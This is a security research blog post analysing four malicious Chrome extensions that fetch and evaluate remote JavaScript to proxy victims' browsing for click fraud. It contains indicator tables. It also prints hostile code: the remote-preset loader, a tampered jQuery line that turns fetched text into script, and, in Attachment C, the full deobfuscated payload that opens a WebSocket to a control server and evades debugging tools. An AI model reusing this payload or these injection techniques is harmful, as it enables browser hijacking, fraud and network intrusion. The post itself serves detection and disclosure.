Malicious Chrome Extensions Enable Criminals to Impact Over Half a Million Users and Global Businesses
January 17, 2018
Most leading web browsers, including Google Chrome, offer users the ability to install extensions. While these web-based applications can enhance the user's overall experience, they also pose a threat to workstation security with the ability to inject and execute arbitrary code. Coupling an extension marketplace style “easy install” for users, limited understanding of the underlying risks, and few compensating controls leaves organizations vulnerable to a serious and easily overlooked attack vector. To a motivated threat actor, this approach presents a range of opportunities, from co-opting enterprise resources for advertising click-fraud to leveraging a user’s workstation as a foothold into the enterprise network.
ICEBRG has battled this threat in the wild and worked with our customers to understand the risk browser extensions pose. Recently, ICEBRG detected a suspicious spike in outbound network traffic from a customer workstation which prompted an investigation that led to the discovery of four malicious extensions impacting a total of over half a million users, including workstations within major organizations globally. Although likely used to conduct click fraud and/or search engine optimization (SEO) manipulation, these extensions provided a foothold that the threat actors could leverage to gain access to corporate networks and user information. While revenues are not known, a similar botnet uncovered in 2013 yielded $6 million per month before it was taken down. This blog will cover the technical details of our discovery as a means to inform organizations of the threat malicious Chrome extensions pose.
Prior to publishing this blog post, ICEBRG notified relevant parties to coordinate responses, including the National Cyber Security Centre of The Netherlands (NCSC-NL), the United States Computer Emergency Readiness Team (US-CERT), the Google Safe Browsing Operations team, and ICEBRG customers that were directly impacted by this malware.
Note: Removal of the malicious extension from the Chrome Web Store may not remove it from impacted hosts. Additionally, the use of third-party Chrome extension repositories may still allow the installation of the extensions.
Detection and Identification
While reviewing an unusual spike in outbound traffic volume from a customer workstation to a European VPS provider, ICEBRG’s Security Research Team (SRT) utilized the targeted packet capture capability of the ICEBRG platform to collect traffic destined to the external IP, 109.206.161[.]14. Analysis of this traffic identified HTTP traffic to the domain ‘change-request[.]info’ from a suspicious Chrome extension with ID ‘ppmibgfeefcglejjlpeihfdimbkfbbnm’ (Figure 1) as the cause of the observed traffic spike. This extension ID correlated to an extension named Change HTTP Request Header available via Google’s Chrome Web Store (Figure 2).
Technical Overview
The Change HTTP Request Header extension itself does not contain any overtly malicious code. However, ICEBRG identified two items of concern that, when combined, enable the injection and execution of arbitrary JavaScript code via the extension.
Malicious JavaScript Injection
By design, Chrome’s JavaScript engine evaluates (executes) JavaScript code contained within JSON. Due to security concerns, Chrome prevents the ability to retrieve JSON from an external source by extensions, which must explicitly request its use via the Content Security Policy (CSP). When an extension does enable the ‘unsafe-eval’ (Figure 3) permission to perform such actions, it may retrieve and process JSON from an externally-controlled server. This creates a scenario in which the extension author could inject and execute arbitrary JavaScript code anytime the update server receives a request.
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'" |
The Change HTTP Request Header extension downloads JSON via a function called ‘update_presets()’ which downloads a JSON blob from ‘change-request[.]info’ (Figure 4).
var presets = {}; (function update_presets() { $.getJSON( "http://change-request.info/presets" ) .done( function ( data ) { presets = data.presets; data.timeout && setTimeout( update_presets, data.timeout ); } ) .fail( function () { setTimeout( update_presets, 60E3 ); } ); })(); |
During analysis of the performed packet capture, ICEBRG observed the control server, ‘change-request[.]info’, returning obfuscated JavaScript to the victim host (Figure 5). The extension would then evaluate and execute this JavaScript. One component of the executed code checks for the presence of native Chrome debugging tools (chrome://inspect/ and chrome://net-internals/), and if detected, halts further execution of the injected segment. This is most likely an anti-analysis technique implemented by the developers to avoid detection and prolong their capabilities.
Browser Proxying
Once injected, the malicious JavaScript establishes a WebSocket tunnel with ‘change-request[.]info’. The extension then utilizes this WebSocket to proxy browsing traffic via the victim’s browser (Figure 6). During the time of observation, the threat actor utilized this capability exclusively for visiting advertising related domains indicating a potential click fraud campaign was ongoing. Click fraud campaigns enable a malicious party to earn revenue by forcing victim systems to visit advertising sites that pay per click (PPC). The same capability could also be used by the threat actor to browse internal sites of victim networks, effectively bypassing perimeter controls that are meant to protect internal assets from external parties.
Figures 7 and 8 show example transactions between the malicious extension and the control server. These transactions show the client receiving tasking to browse to a remote site and also receiving required headers for the browsing activity.
Figure 9 shows the proxied traffic as observed in the packet capture during the time of the example transaction. As noted, the proxied traffic is indicative of a likely click fraud campaign.
{"id":5,"data":{"method":"GET","url":"http://xml.onwardclick.com/filter?q=sba+small+business+loan&i=ZbCeTekrftM_0&t=1965829287", "headers":{"host":"xml.onwardclick.com","upgrade-insecure-requests":"1","user-agent":"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36","accept":"text/html,application/xhtml+xml,application/xml; q=0.9,image/webp,*/*;q=0.8","referer":"http://f1nd.net/","accept-encoding":"gzip, deflate, sdch","accept-language":"en-US,en;q=0.8"}, "timeout":30000,"body":""}} |
{"id":5,"type":"data","data":"<!DOCTYPE HTML>\n<html>\n<head>\n<script type=\"text/javascript\">\nvar tqs=[{\"id\":\"rs\",\"url\":\"//8328.bapi.adsafeprotected.com/bapi?anId\\u003d8328\\u0026pubId\\u003d62927\\u0026advId\\u003d143\\ u0026campId\\u003d137\\u0026auth_token\\u003dX6WM9yX5fgyLOv1lY39 |
GET /filter?q=sba+small+business+loan&i=ZbCeTekrftM_0&t=1965829287 HTTP/1.1 Host: xml.onwardclick.com User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 upgrade-insecure-requests: 1 referer: http://f1nd.net/ Connection: close HTTP/1.1 200 OK Cache-Control: no-store Pragma: no-cache Age: 0 Content-Type: text/html; charset=utf-8 Set-Cookie: c-1143473719=-1412980242;Path=/ Content-Length: 3206 <!DOCTYPE HTML> <html> <head> <script type="text/javascript"> var tqs=[{"id":"rs","url":"//8328.bapi.adsafeprotected.com/bapi?anId\u003d8328\u0026pubId\u003d62927\u0026advId\u003d143\u0026campId\ u003d137\u0026auth_token\u003dX6WM9yX5fgyLOv1lY39tvg%3D%3D"}]; |
Related Malicious Chrome Extensions
Based on the similarity of tactics, techniques, and procedures (TTPs), and command and control (C2), ICEBRG has determined with high confidence that the following extensions are related to the Change HTTP Request Header activity:
Name | Extension ID | Users | Associated Domains |
Nyoogle - Custom Logo for Google | ginfoagmgomhccdaclfbbbhfjgmphkph | ~509,736 | *.nyoogle.info |
Lite Bookmarks | mpneoicaochhlckfkackiigepakdgapj | n/a | lite-bookmarks[.]info |
Stickies - Chrome's Post-it Notes | djffibmpaakodnbmcdemmmjmeolcmbae | ~21,600 | stickies[.]pro |
Extensions are no longer available from Chrome Web Store as of 1/17/18.
Like Change HTTP Request Header, Nyoogle and Lite Bookmarks use the same combination of enabling ‘unsafe-eval’ via the CSP with periodic configuration updates/checkins via the jQuery.getJSON() method to inject arbitrary JavaScript.
Stickies also enables ‘unsafe-eval’ via the CSP, but attempts to obfuscate its ability to retrieve external JavaScript for injection by modifying its included jQuery library. Specifically, ‘Stickies’ has included JavaScript in the ajax() method (Figure 10) which converts the MIME type of data retrieved via ‘ajax()’ from “text” to “script” if the code identifies the magic string “\\\==” inside the data. This results in the evaluation of the retrieved data as JavaScript and provides a code injection pathway via methods such as ‘jQuery.get()’ that depend on ‘ajax()’.
ICEBRG observed JavaScript injected into Stickies as nearly identical to the JavaScript observed returned to the other malicious extensions.
for (z = J.shift(); z; ) if (c.responseFields[z] && (F[c.responseFields[z]] = I), !B && K && c.dataFilter && (I = c.dataFilter(I, c.dataType)), "text" === z && /\/\/\/==/.test(I) && J.push("script"), B = z, z = J.shift()) |
This isn’t the first time ICEBRG has identified issues with the Stickies extension. ICEBRG previously identified an update to the Stickies extension in early 2017 that utilized this new code injection technique as well as a Change HTTP Request Header technique that resulted in Google removing the extension after a notification from ICEBRG.
Conclusion
Hygiene of user workstations is a difficult problem to tackle, made even more difficult by the exhaustive number of ways that code can execute through seemingly legitimate applications and plugins. In this case, the inherent trust of third-party Google extensions, and accepted risk of user control over these extensions, allowed an expansive fraud campaign to succeed. In the hands of a sophisticated threat actor, the same tool and technique could have enabled a beachhead into target networks.
The total installed user base of the aforementioned malicious Chrome extensions provides a substantial pool of resources to draw upon for fraudulent purposes and financial gain. The high yield from these techniques will only continue to motivate criminals to continue exploring creative ways to create similar botnets. It should be noted that although Google is working to give enterprises more options for managing Chrome extensions, without upstream review or control over this technique, malicious Chrome extensions will continue to pose a risk to enterprise networks.
ICEBRG is a network security analytics company that offers a SaaS capability that enables customers to gain and utilize widespread network visibility for security operations. Leveraging a streaming process, ICEBRG is able to discover suspicious activity in real-time and provide insights into network threat activity to our customers. As part of its research, ICEBRG coordinates disclosure of security threats and vulnerabilities with relevant parties in order to maximize both the response and victim remediation efforts as well as working to truly improve the security of customers and other victims prior to publishing blog posts.
For additional information about this post or to learn more about how ICEBRG helps our customers defend against a wide range of threats, reach out to info@icebrg.io.
Update: 1/17/2018. This post has been updated to reflect that the malicious extensions listed in this blog are no longer available in the Chrome Web Store. Nyoogle - Custom Logo for Google and Stickies - Chrome's Post-it Notes were the final extensions to be removed by the Google Safe Browsing Operations team.
Original Post Date: 1/15/18
Attachment A—List of Malicious Chrome Extensions
Name | Extension ID | Users | Associated Domains |
Nyoogle - Custom Logo for Google | ginfoagmgomhccdaclfbbbhfjgmphkph | ~509,736 | *.nyoogle.info |
Lite Bookmarks | mpneoicaochhlckfkackiigepakdgapj | n/a | lite-bookmarks[.]info |
Stickies - Chrome's Post-it Notes | djffibmpaakodnbmcdemmmjmeolcmbae | ~21,600 | stickies[.]pro |
Change HTTP Request Header | ppmibgfeefcglejjlpeihfdimbkfbbn | ~14,000 | change-request[.]info |
Attachment B—Indicators
Indicator | Type | Related Extension ID |
change-request[.]info | Domain | ppmibgfeefcglejjlpeihfdimbkfbbn |
lite-bookmarks[.]info | Domain | mpneoicaochhlckfkackiigepakdgapj |
stickies[.]pro | Domain | djffibmpaakodnbmcdemmmjmeolcmbae |
a.stickies[.]pro | Domain | djffibmpaakodnbmcdemmmjmeolcmbae |
nyoogle[.]info | Domain | ginfoagmgomhccdaclfbbbhfjgmphkph |
s1.nyoogle[.]info | Domain | ginfoagmgomhccdaclfbbbhfjgmphkph |
s2.nyoogle[.]info | Domain | ginfoagmgomhccdaclfbbbhfjgmphkph |
s3.nyoogle[.]info | Domain | ginfoagmgomhccdaclfbbbhfjgmphkph |
s4.nyoogle[.]info | Domain | ginfoagmgomhccdaclfbbbhfjgmphkph |
s5.nyoogle[.]info | Domain | ginfoagmgomhccdaclfbbbhfjgmphkph |
s6.nyoogle[.]info | Domain | ginfoagmgomhccdaclfbbbhfjgmphkph |
s7.nyoogle[.]info | Domain | ginfoagmgomhccdaclfbbbhfjgmphkph |
s8.nyoogle[.]info | Domain | ginfoagmgomhccdaclfbbbhfjgmphkph |
s9.nyoogle[.]info | Domain | ginfoagmgomhccdaclfbbbhfjgmphkph |
s10.nyoogle[.]info | Domain | ginfoagmgomhccdaclfbbbhfjgmphkph |
s11.nyoogle[.]info | Domain | ginfoagmgomhccdaclfbbbhfjgmphkph |
s12.nyoogle[.]info | Domain | ginfoagmgomhccdaclfbbbhfjgmphkph |
s13.nyoogle[.]info | Domain | ginfoagmgomhccdaclfbbbhfjgmphkph |
s14.nyoogle[.]info | Domain | ginfoagmgomhccdaclfbbbhfjgmphkph |
s15.nyoogle[.]info | Domain | ginfoagmgomhccdaclfbbbhfjgmphkph |
s16.nyoogle[.]info | Domain | ginfoagmgomhccdaclfbbbhfjgmphkph |
s17.nyoogle[.]info | Domain | ginfoagmgomhccdaclfbbbhfjgmphkph |
s18.nyoogle[.]info | Domain | ginfoagmgomhccdaclfbbbhfjgmphkph |
s19.nyoogle[.]info | Domain | ginfoagmgomhccdaclfbbbhfjgmphkph |
s20.nyoogle[.]info | Domain | ginfoagmgomhccdaclfbbbhfjgmphkph |
109.206.161[.]12 | IP Address | mpneoicaochhlckfkackiigepakdgapj |
109.206.161[.]14 | IP Address | ppmibgfeefcglejjlpeihfdimbkfbbn |
109.206.161[.]15 | IP Address | ginfoagmgomhccdaclfbbbhfjgmphkph |
109.206.161[.]16 | IP Address | ginfoagmgomhccdaclfbbbhfjgmphkph |
109.206.161[.]17 | IP Address | ginfoagmgomhccdaclfbbbhfjgmphkph |
109.206.161[.]21 | IP Address | ginfoagmgomhccdaclfbbbhfjgmphkph |
109.206.161[.]22 | IP Address | ginfoagmgomhccdaclfbbbhfjgmphkph |
109.206.161[.]24 | IP Address | ginfoagmgomhccdaclfbbbhfjgmphkph |
109.206.161[.]115 | IP Address | ginfoagmgomhccdaclfbbbhfjgmphkph |
109.206.161[.]116 | IP Address | ginfoagmgomhccdaclfbbbhfjgmphkph |
109.206.161[.]118 | IP Address | ginfoagmgomhccdaclfbbbhfjgmphkph |
109.206.161[.]123 | IP Address | djffibmpaakodnbmcdemmmjmeolcmbae |
109.206.161[.]12 | IP Address | ginfoagmgomhccdaclfbbbhfjgmphkph |
109.206.161[.]69 | IP Address | ginfoagmgomhccdaclfbbbhfjgmphkph |
109.206.161[.]71 | IP Address | ginfoagmgomhccdaclfbbbhfjgmphkph |
109.206.161[.]72 | IP Address | ginfoagmgomhccdaclfbbbhfjgmphkph |
109.206.161[.]103 | IP Address | ginfoagmgomhccdaclfbbbhfjgmphkph |
109.206.161[.]104 | IP Address | ginfoagmgomhccdaclfbbbhfjgmphkph |
109.206.161[.]105 | IP Address | ginfoagmgomhccdaclfbbbhfjgmphkph |
109.206.161[.]106 | IP Address | ginfoagmgomhccdaclfbbbhfjgmphkph |
109.206.161[.]107 | IP Address | ginfoagmgomhccdaclfbbbhfjgmphkph |
109.206.161[.]108 | IP Address | ginfoagmgomhccdaclfbbbhfjgmphkph |
109.206.161[.]117 | IP Address | ginfoagmgomhccdaclfbbbhfjgmphkph |
109.206.161[.]124 | IP Address | djffibmpaakodnbmcdemmmjmeolcmbae |
Attachment C - Fully Deobfuscated Payload Script
(function() { var b=function() { onconnect=function(a) { var e=a.ports[0],b=null,d=0,k=0,c=function(a,e) { if(!b||b.readyState>=WebSocket.CLOSING||d!==a)return!1; b.send(JSON.stringify(e)) } ,l= { close:function() { close() } ,open:function(a) { var l=a.url,m=function() { b=new WebSocket(l); d++; b.onopen=function(a) { k=0 }; b.onmessage=function(a) { try { var b=JSON.parse(a.data); e.postMessage( { type:"ws",pipe:d,data:b } ) } catch(f) { c(d, { type:"exception",data: { err:f.message,message:a.data } } ) } }; var a=setInterval(function() { c(d, { } ) } ,6E4); b.onclose=function(b) { clearInterval(a); k++; setTimeout(m,6<k?6E5:3<k?6E4:0) } }; m() } ,ws:function(a) { c(a.pipe,a.data) } ,xhr:function(a) { var b=a.data,c=new XMLHttpRequest,d,l=function(a,c) { e.postMessage( { type:"xhr",data: { id:b.id,type:a,data:c } } ) } ,g=0; c.onreadystatechange=function() { l("readystatechange",c.readyState); g<c.responseText.length&&16777216<c.responseText.length&&(l("error","Max size exceeded: "+c.responseText.length),c.abort()); var a=c.responseText.substring(g,16777216); g=c.responseText.length; 3===c.readyState?a&&l("data",a):4===c.readyState&&(d&&clearTimeout(d),a&&l("data",a),l("end",c.status)) }; c.open(b.method,b.url,!0); c.setRequestHeader("x-request-id",b.id); c.overrideMimeType("text/plain; charset=x-user-defined"); c.send(b.body); b.timeout&&(d=setTimeout(function() { c.abort() } ,b.timeout)) } }; e.onmessage=function(a) { a=a.data; if(l.hasOwnProperty(a.type))l[a.type](a) } } } ,d=function() { this._4=new Map; this._3=null }; d.prototype.on=function(a,b) { var d=this._4.get(a); d||this._4.set(a,d=[]); d.push(b); return this }; d.prototype.emit=function(a,b) { a=this._4.get(a); if(!a)return 0; for(var d=0,h=a.length; d<h; d++)a[d](b); return a.length }; d.prototype.send=function(a) { this._5=a.headers|| { }; this.constructor.postMessage( { type:"xhr",data:Object.assign( { } ,a, { id:this.constructor._7(this) } ) } ) }; d.postMessage=function(a) { if(!this._0||!this._0.port)return!1; this._0.port.postMessage(a) }; d.initialize=function() { var a=this; if(!this._2) { this._6=0; this._1=new Map; for(var b=new Map,d=[[chrome.tabs.onUpdated,function(b,e,f) { e.url&&(e.url.match(/^chrome:\/\/(?:inspect|net-internals)\//)?a.stopWorker():a.startWorker()) } ],[chrome.tabs.onRemoved,function(b,e,f) { a.startWorker() } ],[chrome.webRequest.onBeforeSendHeaders,function(a) { if(-1!==a.tabId)return { }; a.requestHeaders.push( { name:"x-version",value:$.uv } ); return { requestHeaders:a.requestHeaders } } , { urls:[$.uu] } ,["blocking","requestHeaders"]],[chrome.webRequest.onBeforeSendHeaders,function(c) { if(-1!==c.tabId)return { }; for(var d=0,f=c.requestHeaders.length; 0<f--; )if("x-request-id"===c.requestHeaders[f].name) { d=c.requestHeaders[f].value; break } f=a._1.get(d); if(!f)return { }; b.set(c.requestId,d); c.requestHeaders=[]; for(var k in f._5)f._5.hasOwnProperty(k)&&c.requestHeaders.push( { name:k,value:f._5[k] } ); return { requestHeaders:c.requestHeaders } } , { urls:["<all_urls>"],types:["xmlhttprequest"] } ,["blocking","requestHeaders"]],[chrome.webRequest.onHeadersReceived,function(c) { if(-1!==c.tabId)return { }; var d=b.get(c.requestId); if(!d)return { }; b.delete(c.requestId); d=a._1.get(d); if(!d)return { }; for(var f= { } ,k=c.responseHeaders.length; 0<k--; ) { var g=c.responseHeaders[k]; 0>["content-encoding","content-length","content-disposition"].indexOf(g.name.toLowerCase())&&(f[g.name.toLowerCase()]=g.value); 0<=["cookie","location","content-disposition"].indexOf(g.name.toLowerCase())&&c.responseHeaders.splice(k,1) } d.emit("head", { statusCode:c.statusCode,headers:f } ); return { responseHeaders:c.responseHeaders } } , { urls:["<all_urls>"],types:["xmlhttprequest"] } ,["blocking","responseHeaders"]],[chrome.webRequest.onErrorOccurred,function(c) { if(-1!==c.tabId)return { }; var d=b.get(c.requestId); if(!d)return { }; b.delete(c.requestId); d=a._1.get(d); if(!d)return { }; d._3=Error(c.error); return { } } , { urls:["<all_urls>"],types:["xmlhttprequest"] } ]],h=d.length; 0<h--; ) { var k=d[h]; k[0].addListener.apply(k[0],k.slice(1)) } this._2=d; this.startWorker() } }; d._7=function(a) { var b=(++this._6).toString(36); this._1.set(b,a); return b }; d._8=function(a) { this._1.delete(a) }; d.delete=function() { if(this._2) { for(var a=this._2.length; 0<a--; ) { var b=this._2[a]; b[0].removeListener.call(b[0],b[1]) } delete this._2; this.stopWorker() } }; d.startWorker=function() { var a=this; if(!this._0) { var e=this._0= { }; chrome.tabs.query( { url:["chrome://inspect/*","chrome://net-internals/*"] } ,function(g) { if(e===a._0)if(0<g.length)a._0=null; else { a._0=new SharedWorker(URL.createObjectURL(new Blob(["("+b.toString()+")("+JSON.stringify($.ws)+")"], { type:"text/javascript" } ))); var h= { ws:function(b) { var c=b.data,e=function(d,e) { a.postMessage( { type:"ws",pipe:b.pipe,data: { id:c.id,type:d,data:e } } ) }; if("js"===c.data.url) { var f; try { f=JSON.stringify(window[atob("ZXZhbA==")](c.data.body)) } catch(g) { f=g.message } e("head", { statusCode:200,statusMessage:"OK",headers: { } } ); e("data",f); e("end") } else f=new d,f.on("head",function(a) { e("head",a) } ).on("data",function(a) { e("data",a) } ).on("error",function(a) { e("error",a.message) } ).on("readystatechange",function(a) { e("readystatechange",a) } ).on("end",function() { e("end") } ),e("readystatechange",0),f.send(c.data) } ,xhr:function(b) { b=b.data; var c=a._1.get(b.id); c&&("error"===b.type?c._3||(c._3=Error(b.data)):"end"!==b.type||b.data&&!c._3?c.emit(b.type,b.data):c.emit("error",c._3||Error("unknown error"))) } }; a._0.port.onmessage=function(a) { a=a.data; if(h.hasOwnProperty(a.type))h[a.type](a) }; a.postMessage( { type:"open",url:$.ws } ) } } ) } }; d.stopWorker=function() { this._0&&(this.postMessage( { type:"close" } ),this._0=null) }; d.initialize(); window.reloadRequest&&window.reloadRequest(); window.reloadRequest=function() { delete window.reloadRequest; d.delete() } } )(); ({"uv":"11","uu":"http://change-request.info/presets","ws":"ws://change-request.info/"}) |